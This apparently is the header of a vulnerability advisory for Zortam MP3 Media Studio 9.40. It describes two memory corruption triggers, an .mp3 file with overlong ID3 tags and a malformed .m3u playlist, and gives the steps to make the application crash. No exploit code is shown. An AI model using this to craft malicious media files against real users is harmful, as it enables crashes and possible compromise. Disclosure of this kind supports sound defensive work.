# Title: Zortam MP3 Media Studio 9.40 Multiple Memory Corruption Vulnerabilities
#
# Product web page: http://www.zortam.com
#
# Desc: Zortam MP3 Studio version 9.40 suffers from a memory corruption attack from
#       two different malicious files. The first method is thru a .mp3 file which
#       has its ID3 tags filled with long strings. The second method is a .m3u list
#       which is loaded in to the player resulting in memory corruption of the whole
#       application including Dr.Watson crashing along with the app. For 1st method,
#       you can click the Search Media for MP3's button and select the folder where
#       the .mp3 file with the long ID3 tags is located..boom! The 2nd method, load
#       .m3u file into the MP3 Player..boom boom!
#
# Tested on: Microsoft Windows XP Professional SP3 (English)
